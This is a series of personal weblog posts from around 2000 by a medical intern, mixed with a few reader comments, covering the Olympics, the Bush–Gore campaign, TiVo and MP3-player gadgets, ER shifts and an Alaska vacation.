…the olympics is the nastiest thing around right now, the rights to covering it respectably has been bought by nbc and much of the other news you talk about are not related in any way…the three most interesting headlines? whats going around in the news? im not sure whats going on here…maybe youre just reporting a few different things that you overheard somewhere and then researched and reported and perhaps you ran out of people who had the patience to sit through one of your purposeless ramblings(arent i the hypocrite)…

…i truely thought you might have something meaningful to say about my complaint with microsft…why isnt winZip free and why doesnt it come with windows…its not the only one, duh, nor is internet explorer the only web browser around but everyone i know uses that…its another Explorer/Navigator type of controversy that wont take Bill too long to notice

…instead you chose to quickly shoot down my observation and treat me as though i dont have the ability to complete a full, logical thought and as though i didnt already think of what you said…i wouldnt have complained if i didnt fully understand whats behing all that…i realize my first post may have been poorly worded but come on, im not your 7year old neice

I entered The Great TiVo Giveaway late last night, and won my TiVo by mid-afternoon today. Below is the essay that I wrote.


I will now tell you, dear reader, something to which I rarely admit outside the cozy walls of my living room — I am an ADDICT. I bathe in the rays of my addiction, I soak in the hum of my drug, and I whimper when it is unfairly taken from me by the mere laws of physics that restrict my ability to be in two places at once. What, dear reader, is my addiction? No, it’s not alcohol or coffee that I crave; instead, I salivate over Law and Order. I drink down every frame of it. I dream of it constantly. I praise the holy mecca of A&E for their four episodes every weekday.

Alas, my life as a doctor takes me away from my glorious Phillips 35” television at far too frequent a rate to make happy those neurons which are intertwined with my addiction; my recent medical school loans take my money at far too rapid a rate to make hundreds of videotapes an option. Sadly, then, I am left wistfully dreaming of Jerry Orbach making pithy sexual innuendo with Jillian Hennesy. Missing Steven Hill’s grouchy demeanor leaves me writhing on the sofa, clutching at the air and imagining perps and backalley lawyers who just aren’t there. The only thing which exceeds the level of my addiction is my envy for those who are unemployed, able to catch every grimy Manhattan frame of Law and Order.

Give me TiVo, and satisfy my needs!

Bushism of the Day:

“It is clear our nation is reliant upon big foreign oil. More and more of our imports come from overseas.”

Told you so.

And in other Supreme Court news, Casey Martin will get the ultimate decision in his case against the PGA to be able to use a cart during tournament events. For some reason, the melding of sports and courts is interesting to me; that’s why the current trial of Marty McSorley for slashing Donald Brashear during an NHL game is also keeping my attention.

OK, something’s definitely afoot — now, I’ve won a TiVo! The essay I wrote can be read here. I am so damn happy right now I could cry; I was just salivating over my sister’s TiVo this past weekend. (I now join the likes of Jason, Wendell, Ben, and many other people. On the MetaFilter thread alone, way more than 10 people won one. Strange.)

Much drug ado at the 2000 Olympics. First, C.J. Hunter appears to have tested positive for steroids four times in the past year, and the story breaks during the Olympics despite the fact that he’s not a contestant. Then, Romanian gymnast Andreea Raducan loses her all-around gold medal due to having taken pseudoephedrine, and her entire team surrenders all their medals in protest.

Of course, now that I’ve won, I’ll need a few good websites on how to hack my TiVo to add capacity

If some company does come up with a Palm-based GSM phone, then I’ll be the first in line to buy it. I love my Palm, and I love my GSM cellphone, and a Frankencombo of the two would make me happy happy.

Again, I reiterate that the IOC ban on athletes publishing diaries during the Olympics is inane. Think how popular a legitimate U.S. athlete’s weblog would be during these two weeks…

For those thinking of voting for Nader, Bruce Shapiro has two words to make you think about your vote, and why it could shape this country more than you think: Supreme Court.

what is the problem with winzip?i just recently downloadeda .zip file and when i click to try to open it…in “unzip wizard” my “trail evaluation” had unfortunately run out, but if id like to heavily donate and nice slice of my wallet, 17 bucks, they would be kind enough to give me…not the new upgrade, but a “liscence to unzip” as i think they want to say

how can windows include a new version of internet explorer to compete with navigator, (*laughsoutofpity*), why am i still paying for winzip?!….i cant remember who was complaining when they took away the annual fee for paint and wordpad, oh wait, thats right, no one, because some shit ya just gotta have

Sorry for the quiet week — getting back from a vacation always means more work than you thought that you had, and much more work than you want to do. I’m on pediatric cardiology now, and since my hospital is a major center for complicated surgeries and repairs, we’ve got some sick kids.

A panel of British Lord Justices has ruled that the conjoined twins “Jodie” and “Mary” must be separated, killing Mary in the process. I don’t understand the parents in this one. They want God’s will to play out (which would most likely kill both sisters), yet they traveled to Britain from their Mediterranean island home to see if they could be separated in the first place. Once they started down the road of surgical separation, there really was no telling where it would end.

Of course “conversion” doesn’t work. John Paulk, hero of the let’s-convert-gays-to-God-fearing-straight-people crowd, was caught (and photographed) cavorting in a Washington, D.C. gay bar. How does Paulk’s organization, Focus on the Family, respond to something like this? If they fire him, they admit that all their prosletyzing through him was bullshit. But they can’t trust him anymore, either. Sucks to be in the religious right…

In light of students holding “spontaneous, impromptu” prayer at sports events and communities withdrawing support for Boy Scouts troops (both as a result of Supreme Court decisions), Dahlia Lithwick writes about some (ahem) other small protests against Court rulings being held around the country.

Michael Goldstein has some great ideas to make Tiger Woods’ golf appearances more competitive and challenging, rather than the one-sided affairs that they have turned out to be.

It’s a crying, crying shame that Dr. Laura’s show halted production. Oh, wait, no it’s not — it sucked!

How can you not read an article that begins as such: “Here’s a theory: Louis Freeh has photographs of key Republican congressmen in compromising positions with young boys.” (It’s an attempt to figure out why FBI director Louis Freeh has near-immunity on Capitol Hill.)

I’ve heard of desperate measures by dot-com companies before, but this takes the cake — win a date with the CEO of SocialNet.com. There’s even an interview with her mom!

Damn, is the CueCat (I refuse to use that stupid colon punctuation thing that they use!) getting slammed. First, Joel explains what an idiotic idea it is. Then Scott Rosenberg takes aim. And last, they get caught in a big privacy breach. Strike three…

Your one-stop shopping resource for all of the latest poll results about the upcoming Presidential election. Now, if the site only had links to the various polls themselves…

Nicholas Thompson has a very intriguing look at the ways that US News & World Report has manipulated the system by which they rank schools in their yearly Best Of list. (Of course, it’s not like we all didn’t know that the fix was in.)

Two highly uncharacteristic errors led to the U.S. women’s softball first loss in 113 games last night. Thankfully, it doesn’t diminish their chances of winning the gold, since the Olympics are set up as a prelims/finals tournament.

Ick.

Can anyone explain how Women.com’s new superheroine, Lacey Brazeer, can possibly be seen as a good thing? Seems completely offensive to me; maybe it’s truly something a guy can’t get.

In the history department, the Library of Congress has released transcripts of a slew of George Washington’s diaries, spanning the time from 1748 to 1799. Of course, there’s been a great site compiling the papers of Washington for a while now; this just fleshes out the online offerings from the pen of our first President.

I see that Go.com (Disney) has settled on a new logo and look; I can’t help but think that this is a final response to losing the lawsuit that GoTo.com filed against them.

Spiff-o-rama: if you’re wondering what the time is in Sydney, and (like me) seem to have problems keeping the correction straight, just go to ESPN’s Olympics main page. There’s a constantly-running clock in the upper lefthand corner. (Of course, if you don’t want Olympics spoilers, then don’t go there.)

One issue that’s gripping Alaska (seriously!) is the legalization of marijuana. I don’t quite know the history of the issue, but apparently, it used to be legal, and now it isn’t. Each morning, it seemed that every radio station devoted at least 20 or 30 minutes to call-in discussions about it.

This may be old for some people, but I didn’t realize that a student’s computer was seized due to his alleged blatant music piracy. Interesting is that it was an old-fashioned FTP site, not a Napster node; I assume that the RIAA is just starting to set precedents. Good; if the kid were providing software, everyone would agree with the move.

Every now and then, I got lucky, and the little Alaskan town I was in had a copy or two of the New York Times around. I considered myself doubly lucky that I was able to get a copy last Wednesday, and read Maureen Dowd’s column on the RNC’s subliminal (or subliminable) RATS commercial. It’s a genius way to write a column, something more creative than I’m used to in political wonk editorials. (Interestingly, though, this column went out on the Times wire, and many sources picked it up without the bold emphasis, making it totally lose its meaning. That sucks.)

If I were a practicing Jew, I’d need me one of these.

Yet another reason not to vote for Dubya and Cheney — they’re overtly asking voters to spam their friends.

Holy crap — I go away for a mere two weeks, and while I’m gone, Mike abandons Dubya, something I would have never, ever predicted. Now, if we could only coerce him over to the good side… :)

Why does it not surprise me, though, that Dave Winer’s tilting at Tim O’Reilly’s windmills is still going on after those two weeks?

Has anyone else noticed that Wired’s Newsbot appears to be stuck at the end of August? Has it been shut down?

I’m back — I just wandered in from JFK. Summary: great vacation. Everyone should go to Alaska.

My brother and I took many, many photos while we were there; I’m getting them all developed on Monday, and will start scanning soon thereafter. Expect a photo-of-the-day type thing for a little while (I hope that there are a ton of nice ones to justify it). We also emailed summaries of the trip to our sister at various points during the vacation. I’m thinking of doing an entire travelogue website, and I’ll probably include the emails.

Meanwhile, while I was gone, it seems like a lot of cool stuff has happened in the news — Atlantis docking with the ISS, Dubya making many asses of himself, the Olympics starting, and so on. I’ve got a lot of surfing to do to catch up; expect many related links in the coming days.

Now, to sleep, perchance to dream…

I’m writing this from Anchorage, Alaska; I fly out early tomorrow morning, back to NYC. Expect mucho, mucho vacation recap, as well as a general return to normalcy around here.

Sorry that Q died for a few days sometime during my trip… I had someone restart the machine a few hours ago, and once I get back to NYC, I’ll figure out what happened.

See you all tomorrow night…

Alas, tomorrow morning I fly out for Alaska, to hike the great outdoors for two weeks, and Q will fall silent for a little while. I haven’t decided if I’m going to seek out periodic refuge in Internet cafes along the way; if I do, you may hear peeps out of me. But I do promise photos, photos, photos when I get back… we’re bringing both point-and-shoot and 35mm film cameras. And, of course, my GPS will let me keep track of my routes along the way, so that I can publish maps of where we were. Fun fun fun.

Bob Herbert on the laughable nature of listening to Dubya and Cheney rattle on about how they’ll help the children of this nation. Dubya is a man who has demolished Texas’ ability to provide medical care to children; Cheney is a man who doesn’t want to provide any federal funding for children’s programs, anywhere. Do these two yahoos thing that we don’t know their records?

I love this picture; it took me a while to (read the caption and) realize that the grasshopper’s on a windshield, rather than caught in midair by the camera. The photo essay it comes from — MSNBC’s The Week In Pictures for 9/2/2000 — has a slew of great shots; while this week’s ones don’t have an archive link yet, they should show up at this URL once they are moved to the archive.

My last post yesterday about the battles between Tim O’Reilly and Dave Winer may make little sense to those people catching up today, since most of the context was moved from Dave’s home page yesterday to a subpage. Completely removed (not just the link, but the entire thing) was the survey that Dave was running which seemed to explode a bit late last night; all that’s archived is the question and results as of 10:15 PM Eastern.

Thanks for everything, Andre; your work and talent will be missed.

Sorry about the quiet ‘round here the past few days. I was on sick call this past week, which means that when another intern gets sick and is unable to cover their shift, I slide into that shift; last night, that meant covering the general medicine and GI service overnight, after working a full day shift in the ER. It was a lot of fun, though, and it also means that I get to trade back to that intern one of my calls over the next few months.

A little while ago, I mentioned the fact that Planned Parenthood was fighting in court to keep their staff lists out of the hands of abortion protesters. I am very happy to report that they won; the decision (in PDF form) is here. Interesting to me is that the decision specifically takes notice of the grotesque website “The Nuremberg Files” in deciding how much danger staffmembers would face.

The lack of borders on the Internet is making for confusing discrepancies in laws and regulations. Ed Foster’s column in this week’s InfoWorld notes that a company which colocated a webserver in New Jersey is now facing the wrath of the NJ tax collectors, who claim that the presence of the colocated server does make the company liable for taxes to New Jersey on all of its sales. Yet a California judge ruled that a company’s decision to colocate their webserver in New Jersey does not make the company subject to New Jersey jurisdiction in lawsuits. Somehow, all these issues need to be ironed out and made consistent.

Weeeeeeird. Today, I realized that I would have to come home and find an online list of Internet cafes in Anchorage, so that my brother and I can periodically check in with our family on our trip to Alaska next week. When I got home, I started my nightly surfing, though, starting with Zannah’s crib… to find a link to a comprehensive list of cybercafes.

Obscene Interiors is another site that I stumbled onto via a link from someone else’s weblog; I apologize for the lack of specific attribution if it was you that pointed me there, but it’s too great a site to not point out.

Oooooh, this isn’t a good development…

Election-related link of the day:

“Five years after the Republican Congress shut down the government in part because of the money President Clinton wanted to spend on education, four years after Bob Dole embraced a Republican platform that advocated abolishing the Department of Education, Mr. Bush has made an expanded federal role in education a central campaign issue.”

Massachusetts is petitioning for custody of an unborn child based on the fact that the woman carrying the child is suspected of covering up the death of a prior baby. (She has already been declared an unfit mother, and has lost her three living children to the state.)

I hate to admit it, but I’m actually enjoying the pissing contest going on between Dave Winer and Tim O’Reilly (the last salvo of which is here). Of course, it’s only because I know exactly where Tim is coming from. Dave and I have had many private email exchanges in the past, and I’ve learned that they’re pointless because he quickly starts to accuse me of saying or doing things that never occurred. The ironic thing is that his freak-outs almost always occur after I have asked him some question of clarification or justification — ironic because Dave’s the one that believes that anyone who can’t handle questions is a hype artist with something to hide. (And pointedly, in the last email exchange, never once did Dave answer any of the questions I asked; it became a running joke through my subsequent replies.)

At the end of Tim’s post, he proposes two surveys. Dave set one of them up, and for a little while, he was pointing to it; it is located here. I set up Tim’s other question here. Answer away…

It’s heap-of-politics-links day here on Q… if you hate politics, feel free to tune out of today’s program.

Let’s start with a Tom Paine editorial on the many, many things wrong with Dubya’s proclamation of a Jesus Day in Texas. Dabbles a bit in the Constitution, recognition of minority groups, and plain religious doctrine.

Now, on to a Chicago Tribune story on how the young Texan is finding it difficult to defend his tax proposal. It appears that part of the reason Dubya wanted to stay in a character debate is that he wasn’t prepared to defend the policies he was suggesting to the American people; as I’ve talked about before, Gore’s ability to push Bush off-message is reaping benefits such as this.

Does anyone really believe that Cheney is upset about the current state of the U.S. military, seeing as he started the process of cuts and he has personally profited from the missions that he’s claiming have ruined the forces? (Oh, yeah, and by the way, Cheney is now conceding that the point made by Dubya at the Republican convention about the state of readiness of the military was wrong.)

Next comes a Bob Herbert op-ed piece on Dubya’s incredible penchant for malapropisms (regular readers of Q know what I think of his language skills). One I hadn’t read before, and possibly my current favorite: “I know how hard it is to put food on your family.”

And probably related to his limited ability to string words into sentences, Bush continues to duck a real debate schedule with Gore. Personally, my favorite aspect of all of this is the little clock in the lefthand navbar of the Gore/Lieberman site showing how long Bush has been avoiding debates.

There’s a MetaFilter thread that has started about the fact that the Anti-Defamation League has asked Lieberman to stop talking so much about religion, yet nobody has stepped in to shut Dick Cheney the hell up. To me, this is actually logical — the groups that care what the Democrats are talking about also care about whether or not they are offending others, whereas the groups that care what the Republicans are talking about seem to not care about alienating people who don’t agree with everything they’re saying. (Remember, Dubya is the guy who said that Jews can’t get into heaven…)

I signed up for the Davenetics mailing list a few weeks back, and have really been enjoying it — it’s written by Dave Pell, and it’s just a half-dozen or so links every day to news pieces related to the tech industry. Not bad, not bad at all.

Well, doesn’t this make FreeCell a hell of a lot less challenging.

This thread on MetaFilter had me rolling with laughter today; I love when pseudointellectual religious zealots try to do battle with a bunch of people who have no qualms mocking the zealotry openly. I’m hoping the thread ain’t finished.

Salon has two good “Mothers Who Think” columns in their recent stack of archives. First is Richard Knows Best, a pretty damn great column about the scheming guy who won Survivor and the disservice the schmuck did to his child by exposing the kid’s past on a national television show. And second, there’s Bosom Buddies, written by a self-described feminist mom who wonders if she can want breast implants and represent what is good and right in womanhood at the same time. Both good reads.

I dunno where I spotted this, but check out this actual snippet from the ABC NewsWire. Could you imagine if this hadn’t been caught? Liability, liability, liability…

Something which could come in handy for my upcoming trip to Alaska: the ABCs of bear & human conflict resolution. (Of course, it’s not going to hurt to visit the REI in Anchorage and stock up on pepper spray and bear bells.)

How funny — apparently, TRUSTe violated its own policy regarding the notification duty of a website that has contracted with a third-party which is gathering data about visitors to that website. Slowly, it’s becoming clear that the self-policing privacy model sucks.

I’m not sure why, but this story about a flight attendant who was victimized by a large-breasted woman and a malfunctioning airline door amused me.

William Saletan has an interesting analysis of the current strategies of both political parties, concluding that Bush moving from stressing issues of character to issues of policy is what will eventually undermine people’s belief in his past, and future, ability to lead.

What a horrible situation — a judge in England has ruled that one conjoined twin must die in order to save the other, against the wishes of the parents. The crux of the problem is that there’s no way to separate them and have both live; they share only one set of lungs and one heart, an unusual variation on the “normal” conjoined twin anatomy. I’m not sure how something like this would play out in the United States.

Over the past eight years, Clinton has designated over four million acres of land as national monument territory, including groves of redwoods and sequoias older than our nation, sections of the Grand Canyon, and Indian ruins. This week, Dicky Cheney remarked that, under a Dubya administration, many of these monument designations would be subject to review and possible rescinding. Business wins again; damn the environment.

I’m sick of reading news articles and opinion pieces in the computer trade press that include a sentence parenthetically saying something like, “Inevitably, the Microsoft/DOJ case will end up before the Supreme Court no matter how the current issue plays out.” Does anyone have any proof of this? I find it pretty hard to believe that the Supreme Court will get involved in this; it seems more to be a case of the press believing their own hype. Just because writers and editors are devoting billions of inches of column space to the story doesn’t make it as Earth-shattering as they want it to be…

I don’t know why, but I have really been enjoying repairing lacerations in the ER. Last night, I had a kid who had unsuccessfully tried to jump a chain-link fence and ended up with a nasty gash on the back of his leg; it was a complicated repair in that the wound was rectangular, and thus the skin edges couldn’t just be pulled together (or else there would have been weird bunched-up skin at each end). What do you do in that case? Anesthetize and actually extend the laceration to make it elliptical, which makes it much easier to repair and leaves a much better cosmetic result.

It’s pretty typical that Dave Winer put a huge complaint on Scripting News about O’Reilly’s investment in Pyra, but then neglected to point equally as prominently to Tim O’Reilly’s response to that complaint. This is the same man who proclaims that personal attacks should be kept on one’s own site yet has felt just fine about contributing his own brand of nastiness to the discussion group here; I’m with Dan and Cam on this one.

I can’t express how offensive it is that, in the year 2000, shit like this continues to occur. At least the Dodgers responded adequately; I hope that it’s all the other ushers that have to go through sensitivity training, since the usher involved should have been fired outright.

I want this.

Good and bad evening in the ER tonight; I sewed up a lower eyelid (the poor kid pulled a baby carriage over on himself) and a forehead (tripped and hit a metal-rimmed stair), both cool things to have done, but I also dealt with an eight year-old who had been discovered by her grandmother being forced to perform nastiness on a neighborhood boy. All things considered, she was actually doing great, and it worked out that we have no reason to be concerned for her physical health, so I guess that’s one less thing to worry about for her parents. Ugliness, though, and makes me wonder what kind of parents raised this neighborhood boy.

I’m very confused — how does Newtella intend to make money? What will differentiate their product from Gnutella, Gnotella, or any of the other clones? Their only press release has no information in it (surprise!), except that they “address the security issues inherent in the gnutella protocol and provide stability.” Huh?

Finally, the government has implemented guidelines that allow for human embryonic cell research. Much of the pool of embryonic cells is made up of a very special class of cells — stem cells, which are far enough “back” in the developmental ladder that they can differentiate into almost any kind of cell in the human body. A single cell can become a pancreatic islet cell, a muscle cell, a neuron, you name it. Being able to research how these cells differentiate, and how they could be used to replace diseased tissue, will most likely lead to a few breakthroughs in the medical world.

The Boy Scouts’ decision to fight for the right to be intolerant pigs is coming back to bite them, as expected — organizations and public bodies are stemming their support of the Scouts, and there is now a bill before Congress to revoke the Scouts’ Congressional charter. I’d love to see a suit brought at the Federal level, across multiple jurisdictions, which challenges any public organization’s right to fund the Scouts.

Dubya: “We cannot let terrorists and rogue nations hold this nation hostile or hold our allies hostile.” Does anything go on in this man’s head?

Looks like Cam and Damien have been screwed by the worst company, bar none, ever to grace the face of Earth Verizon for the billionth time in their quest to get DSL. Because of the plight of the Barrett twins, Brad, and Dan (among others), every time a friend asks about getting DSL, I explain what a poor, poor choice that would be.

Last night was a weird night in the ER; most of my cases were a far stretch from the normal asthma, stomach pain, and headache that we normally get. I had a kid who had been hit in the eyelid with a baseball bat (five stitches), a young girl who had a breast abscess (conscious sedation, aspiration of abscess), a little boy who knocked his head against a desk (two staples), a toddler who had big swollen lips and tongue (reassurance that gingivostomatitis goes away quickly), and a young boy who had nearly sliced off the tip of his finger in a can (finger nerve block, four stitches, and followup to orthopedics). The nine hours flew by, feeling like about 20 minutes.

Hi Jason,

Had to LOL about the AOLiza thing… there used to be a version of Eliza for the C64 in BASIC. Then I got a Forth cartridge and rewrote it in Forth on a lark. Called it Fliza, of course. :o) The wierd thing was that the size of the source code kept getting smaller as I worked on it, beyond what I’d have thought was possible (except for the string literals).

RE ManilaWebsites.root, IMHO it’s not such a bad thing — it doesn’t make a _huge_ difference to portablity, and it keeps the number of open files down too. Overall, I think it’s a reasonable design choice — it’s not hard to uninstall the site, copy it to another GDB and reinstall it on the same machine or a different one.

I am very, very, very sad today. Ben, Bryan, Lane, Courtney, Tempy: from the bottom of my heart, thank you for the fabulous product that you produced, the time and creative energy that you put into making the web a better place, and the endurance that you displayed in the face of obstacles that won. DeepLeap will be missed immensely.

This week’s Diary on Slate could turn out interesting — a telephone psychic, talking about her work.

Something just hit me — why has “television” come to be abbreviated “TV”, but “telephone” isn’t “TP”? Let’s start a national movement to call our telephones TPs. Come one, you all with me?

I worked my first evening shift in the pediatric ER tonight (5 PM to 2 AM), and it felt like about 2 hours went by before it was time to go home. It’s strange medicine, seeing each patient for an hour, tops, and then possibly never seeing them again. I like more continuity than that. But all that being said, it’s also pretty cool medicine — come in, spill your medical story out, get treated, and go home well again, or at least better than when you came in and on the road to wellness.

Warner Bros. has chosen the three people who’ll star in the upcoming Harry Potter movie — being that I love the books, I hope that the movie doesn’t suck.

Well, if I have to drink 120 gallons of beer every day…

If you haven’t already seen it (what, with tons of media coverage), you must download and watch 405 The Movie. Be sure to watch the movie first, and then check out the “making of” pages afterwards. Amazing.

The only thing the Verizon settlement means is that 50,000 people can go back to doing no work and being paid for it.

Writ (quickly becoming one of my favorite legal reads on the web) has a short piece on why the Twelfth Amendment may, in fact, prohibit Dubya and Cheney from running together (or more precisely, why it prohibits Texan voters from voting for both of them on the same ticket). The words: “The Electors shall meet in their respective states, and vote by ballot for President and Vice-President, one of whom, at least, shall not be an inhabitant of the same state with themselves.”

The second Rainier Web-Index survey is out, and the results aren’t encouraging. (The people responsible for the survey email the 200 companies in the Fortune 100 and the FTSE 100, using contact information available on their websites, and then record how long it takes to get an actual reply back from them. Some companies never responded.)

I love the melding of the old computer world with the new computer world — and that’s why I’m getting a kick out of AOLiza. This guy has hooked the old ELIZA online analyst software up with AOL Instant Messenger, and for every random chat request he gets, ELIZA answers. Much hilarity ensues.

Oxymoron of the day: Catholic Woodstock.

I’m still trying to digest the way-too-long Atlantic Monthly article by Charles Mann about Napster and music on the net. My reaction so far — it’s very thorough and deals with the issue mostly fairly, but it peddles out the same arguments that drive me crazy about most articles on the subject. Just because there are artists that support Napster doesn’t mean those who don’t should lose their ability to control distribution of their music; just because artists sign terrible contracts with recording studios doesn’t mean that I should break the law to somehow right that wrong.

I love when Linus Torvalds shows his irritable side, and makes a lot of sense in the process. The best quote in the email: “It’s also realizing that maybe, just maybe, UNIX didn’t invent every clever idea out there.”

This article about HIV disbelievers scares the hell out of me. The fact that this total loon not only believes that HIV doesn’t cause AIDS isn’t as bad as the fact that there are people listening to her. And more disgusting is that her pediatrician hasn’t called child services on her, seeing as she’s HIV positive and breastfeeding her child; I’m truly appalled.

Some resources that will help people refute people who deny the HIV-AIDS connection (if you even want to engage them in an argument):

  • the NIH has a detailed fact sheet on the evidence that’s been amassed to date; this is possibly the most thorough single resource, and it’s updated regularly.
  • Science magazine published a five-part series on HIV dissenters, going to great lengths to provide all the available evidence. They have made access to these articles free forever, based on their fear that the dissenters will actually convince people because of a lack of credible refuting evidence on the web.
  • Current Opinion in Immunology published an article in 1996 demonstrating how the HIV-AIDS link now fulfills all of Koch’s Postulates, the litmus test in science for causation.
  • AIDS Treatment News has a brief how-to-respond article which lists the most common points made by HIV denialists.
  • the National Institute of Allergy and Infectious Disease has put together a bibliography of further resources, and it appears to be regularly updated.

Unrelated but still medical, Arthur Allen has a good article in Salon about conflicts of interest in medical research. As federal medical research money dries up, private money fills the vacuum — and sometimes, it buys positive studies, studies that help shape enormous parts of medical policy. (That’s why it’s so important that our government continue to fund medical research.)

When did Manila start adding newly-created sites to a GDB named “manilaWebsites” rather than to their own individual GDBs? This decreases the portability of the sites; I don’t know why they did this.

Take a warm coat. I was in Anchorage on labor day, 30 and snowing. Very pretty.

I’m pretty damn excited now. My brother and I are in the middle of finalizing our vacation plans for a few weeks from now; on tap, Alaska. Specifically, Anchorage, Wrangell-St. Elias National Park, Denali National Park and Preserve, and the Prince William Sound. To name a few destinations…

Wrangell-St. Elias is the largest national park in the U.S. — it would fit six Yellowstones inside it, or to put it differently, it’s bigger than Massachusetts, Connecticut, and Rhode Island put together. Check out this map for a sense of its size; it’s unfathomable. It contains the second-tallest mountain in the U.S. (Mt. St. Elias) and a glacier larger than Rhode Island (Malaspina Glacier); there aren’t any paved roads in it at all. (I think that I should get a GPS receiver, so we can find our way back to our camping gear.)

Denali, of course, contains North America’s tallest mountain, Mt. McKinley. (Denali is actually the name given to the mountain by the native Alaskans; the word is a transliteration of a Koyukon word which generally means “great one.”) I don’t imagine we’ll be trekking up the mountain.

Found at peterme: the strangely intriguing and startling screenshots. Go there. Now.

I’m sad — today’s my next-to-last day of playing with newborns in the nursery. Of course, part of my clinic is that I get a newborn every week, so it won’t be THAT bad…

Uh oh, I’m in trouble; the 2000-2001 Ikea catalog came today. Must… resist… temptation.

Wow, are high school students in for a lot of spam. I can’t believe that the College Board can get away with this; I envision many, many college admission offices finding themselves on the MAPS realtime blackhole list over the spam they send out.

It’s funny — Microsoft gets lambasted because the company recognized how much better their operating system would be with the HTML browser integrated into it, but when Eazel looks to do the same thing for Linux, they’re lauded?

Wired has a funny, but not so funny, story about how technology is ruining handwriting skills in the U.S. — and how it starts with elementary schools which aren’t even stressing the importance of handwriting anymore due to a belief that technology is making writing obsolete.

Small update on my Nomad II MP3 player — it appears to have come with a bad SmartMedia card, so I had to exchange it at the store. I didn’t have any problems, and actually, Creative’s tech support people were awesome. Also, my review led Dan Budiac to buy his own Nomad II, and he appears to like it as well.

Wowzers — Steve Martin is putting together a half-hour show for NBC. I’m salivating… he’s awesome, and I think that this should be a neat thing.

I said it before, and I’ll say it again — banning journalists who happen to work for net-only media sources from the Olympics is incredibly stupid. In 1996, and possibly even in 1998, the IOC could do this knowing that most people would still probably turn on their TV to get the stories. In 2000, though, so many more people rely on the web for their news; I have a feeling that a ton of people will probably just forego the stories and find something else of interest. (Of course, media sources that exist both on and off the web will still get their credentials, and will still cross-pollinate their websites with the stories from their off-web publications, so it’s not like there’ll be nothing for Olympic fans online.)

Articles like this demonstrate that many Linux users don’t understand what it will take to bring Linux into the mainstream. Linux needs AOL in order to be able to threaten Microsoft’s lock on the desktop; without AOL (and the users that it brings), Linux is just another tech geek’s playtoy.

I finished the fourth Harry Potter over the weekend, and the little twist/goof that I mentioned earlier is driving me crazy. Personally, I think it’s meant to introduce a twist into the plot; there are way too many other instances of Rowling doing things like this throughout the four-book series so far.

And another reflexive hello to Jairus (and Jessica).

I bought a Creative Nomad II MP3 player this past weekend, and have spent the better part of three days getting to know it well. So far, I like it a lot (although that may be the well-known Jason Plus New Toy Effect), but of course, there are things that I don’t like or would change if I had the power. Here’s a brief review of both classes of observations.

Things I Like

First, the size. At 2.6” by 3.7” by 0.8”, it’s small, light, and fits into any pocket or bag without you noticing it’s really there. And since it comes with a little clip-on remote, you don’t even need to fish it out when someone starts talking to you or when you get where you’re going.

Next, the sound. It’s crisp and clean, and there are six or seven DSP options to chose from. High and low ranges are very well-represented — I’ve listened to a lot of my jazz collection on the Nomad II, and the shrill trumpet blasts and deep bass thumps sound great.

Next, the display. It’s a very readible backlit LCD which is fully graphical. This means that the menu has little icons next to all the choices, and features are represented by logical little graphics along the top of the display; it also means that it’s probably trivial for Creative engineers to add future display features and whatnot.

Next, the software. Creative uses their own software to get songs onto the Nomad II, and it works very well. (Some other MP3 players require RealJukebox or MusicMatch to function, and my track record with both of these products is a little sketchy at best.) A nice surprise, too, was a WinAmp plug-in that installed with the Nomad II Manager software on my machine — it allows me to manage the player from completely within WinAmp. (There are some minor problems with the plug-in, though, like the fact that it was slightly off on calculating how much music I could fit onto the SmartMedia card.)

Next, the USB interface. No passthrough parallel port docks (which are never truly passthrough), no slow serial connections; instead, there’s a simple, standard USB cable which connects directly between the Nomad II and my computer. Creative’s software immediately recognizes that I’m plugged in and runs the manager application (you can disable this if you want), and I’m off and running.

Next, the power requirements. Seeing as there are no moving parts, the Nomad II can run on one AA battery for 8-10 hours, which is great.

Lastly, the reprogrammibility. The Nomad II firmware was written in order to be both flashable and expandable; this means that Creative is able to fix problems with units already in the public, and is able to add new features as they deem necessary. One problem that’s already been fixed: Windows 2000 and Mac support. One feature that’s already been added: support for files in the Windows Media format.

Things I Don’t Like

OK, enough with the glow-fest. There are some things that I don’t like about the Nomad II, as well.

First, no multitasking abilities. When the Nomad II is doing something (say, playing music), you can’t do anything else with it, like look at the time, choose the next song to play, or look at the list of other songs. The damn thing’s a computer, and it should be able to let me browse my MP3 directory while I’m listening to one of them.

Next, the menu navigation. For example: on the front of the Nomad II is a circular “button” that’s actually four buttons (see the picture of the player on the main Creative site). In looking at the circle, it looks like it should behave as an up button, a down button, a left button, and a right button when you’re in menus. And, in fact, 75% of it does — left moves left, right moves right, and down moves down. But up (which is also the play button) chooses the currently-flashing menu choice instead of moving up — a bad break in expected functionality. Other examples of this aren’t hard to find; in some menus, the volume buttons serve increment/decrement functions, and the record button serves as a “set” button. Strange.

Next, no use of external or USB power. When you’re hooked up to your computer via the USB cable, power stays on to the Nomad II, draining your battery. Why didn’t Creative choose to either allow an external power source, or better yet, take power from the USB bus (500 milliamps per port on most controllers) while the Nomad is plugged in?

Next, it doesn’t remember where you left off in your playlist. I have 15 songs on my Nomad II right now; every time I power it off, I start back at song number one when I turn it on. (I may be spoiled in this respect, though, seeing as my portable CD player has this feature.)

Next, the volume limit is too low. In NYC, we have to deal with some loud environmental noise (trucks driving by on the street, subways speeding through stations, gypsy cabs honking at everything with a pulse); the Nomad can be swamped at (albeit rare) times. In addition, the volume selection goes from 0 to 25; why did they choose a scale that ends at 25? Seems weird.

Lastly, the use of SmartMedia. CompactFlash is cheaper, available in larger sizes (192 Mb vs. 64 Mb), and is what many digital cameras are using. In addition, companies are doing remarkably cool things with CF (like building USB controllers into the media itself), making the whole transferring-music thing much easier. But try as I did, I was completely unable to find a decent MP3 player that uses CF, so I ended up deciding to suck it up and buy a SmartMedia-based player.

Two big stories in the news today, one horrible and one inspiring.

After playing with my Nomad II MP3 player for a few days, I’ve written out some of the things I like and don’t like about it. (I guess you could call it a review…)

Why have I not seen these three Nike TV commercials before? They’re absolute genius… pure genius.

Factovision, a site I discovered yesterday in a fit of post-Harry Potter websurfing, gives a nod to the great Cecil Adams column recounting Indiana’s attempt to pass a law rounding the value of pi. I particularly love the response letter, calling Cecil a heathen for not recognizing the Biblical reasons why pi equals exactly 3.

OK, Nikolai, I’ll play along… but does your link here officially break your promise (made on a #blogirc session a few months back) to never, ever link to a Manila site?

Two good Dubya perspectives comin’ atcha. First, William Saletan:

